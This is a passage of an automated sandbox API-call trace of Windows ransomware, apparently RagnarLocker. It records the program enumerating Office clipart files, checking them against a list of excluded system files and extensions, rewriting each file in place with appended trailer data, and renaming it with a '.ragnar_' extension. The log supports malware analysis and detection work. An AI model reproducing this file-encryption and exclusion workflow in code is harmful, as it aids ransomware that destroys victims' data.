hTemplateFile=0x0) returned 0xf4 [0089.013] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8168) returned 1 [0089.013] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.013] GetProcessHeap () returned 0x580000 [0089.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.013] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.014] VirtualAlloc (lpAddress=0x0, dwSize=0x1fe8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.015] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fe8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fe8, lpOverlapped=0x0) returned 1 [0089.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.016] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fe8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.016] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fe8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fe8, lpOverlapped=0x0) returned 1 [0089.016] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.016] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.016] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.016] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.016] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.016] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.016] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.016] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.016] GetProcessHeap () returned 0x580000 [0089.016] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.016] CloseHandle (hObject=0xf4) returned 1 [0089.017] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" [0089.017] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.ragnar_FD7BD9FC" [0089.017] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.017] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0089.017] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.017] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02125_.WMF" | out: lpString1="NA02125_.WMF") returned="NA02125_.WMF" [0089.017] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF") returned=".WMF" [0089.017] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.017] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="autorun.inf") returned 1 [0089.017] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="boot.ini") returned 1 [0089.017] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="bootfont.bin") returned 1 [0089.017] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="bootsect.bak") returned 1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="bootmgr") returned 1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="bootmgr.efi") returned 1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="desktop.ini") returned 1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="iconcache.db") returned 1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="ntldr") returned -1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="ntuser.dat") returned -1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="ntuser.ini") returned -1 [0089.018] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="thumbs.db") returned -1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.018] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf")) returned 0x20 [0089.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.019] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18454) returned 1 [0089.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x480d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.019] GetProcessHeap () returned 0x580000 [0089.019] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.019] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.021] VirtualAlloc (lpAddress=0x0, dwSize=0x4816, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.021] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.021] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.021] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4816, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4816, lpOverlapped=0x0) returned 1 [0089.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.024] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4816, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.024] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4816, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4816, lpOverlapped=0x0) returned 1 [0089.025] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4816, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.025] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4816, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.025] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.025] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.025] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.025] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.025] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.025] GetProcessHeap () returned 0x580000 [0089.025] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.025] CloseHandle (hObject=0xf4) returned 1 [0089.025] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" [0089.025] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.ragnar_FD7BD9FC" [0089.025] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.026] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0089.026] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.026] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02126_.WMF" | out: lpString1="NA02126_.WMF") returned="NA02126_.WMF" [0089.026] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF") returned=".WMF" [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="autorun.inf") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="boot.ini") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="bootfont.bin") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="bootsect.bak") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="bootmgr") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="bootmgr.efi") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="desktop.ini") returned 1 [0089.026] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="iconcache.db") returned 1 [0089.027] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="ntldr") returned -1 [0089.027] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="ntuser.dat") returned -1 [0089.027] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.027] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="ntuser.ini") returned -1 [0089.027] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="thumbs.db") returned -1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.027] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf")) returned 0x20 [0089.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.027] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31824) returned 1 [0089.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.027] GetProcessHeap () returned 0x580000 [0089.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.028] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.029] VirtualAlloc (lpAddress=0x0, dwSize=0x7c50, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.029] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c50, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c50, lpOverlapped=0x0) returned 1 [0089.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.031] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c50, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.031] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c50, lpOverlapped=0x0) returned 1 [0089.031] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.031] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.031] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.031] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.031] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.031] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.032] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.032] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.032] GetProcessHeap () returned 0x580000 [0089.032] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.032] CloseHandle (hObject=0xf4) returned 1 [0089.032] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" [0089.032] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.ragnar_FD7BD9FC" [0089.032] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.032] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0089.032] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.033] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02127_.WMF" | out: lpString1="NA02127_.WMF") returned="NA02127_.WMF" [0089.033] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF") returned=".WMF" [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="autorun.inf") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="boot.ini") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="bootfont.bin") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="bootsect.bak") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="bootmgr") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="bootmgr.efi") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="desktop.ini") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="iconcache.db") returned 1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="ntldr") returned -1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="ntuser.dat") returned -1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="ntuser.ini") returned -1 [0089.033] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="thumbs.db") returned -1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.033] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf")) returned 0x20 [0089.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.034] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4068) returned 1 [0089.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfdb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.034] GetProcessHeap () returned 0x580000 [0089.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.034] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.075] VirtualAlloc (lpAddress=0x0, dwSize=0xfe4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.076] 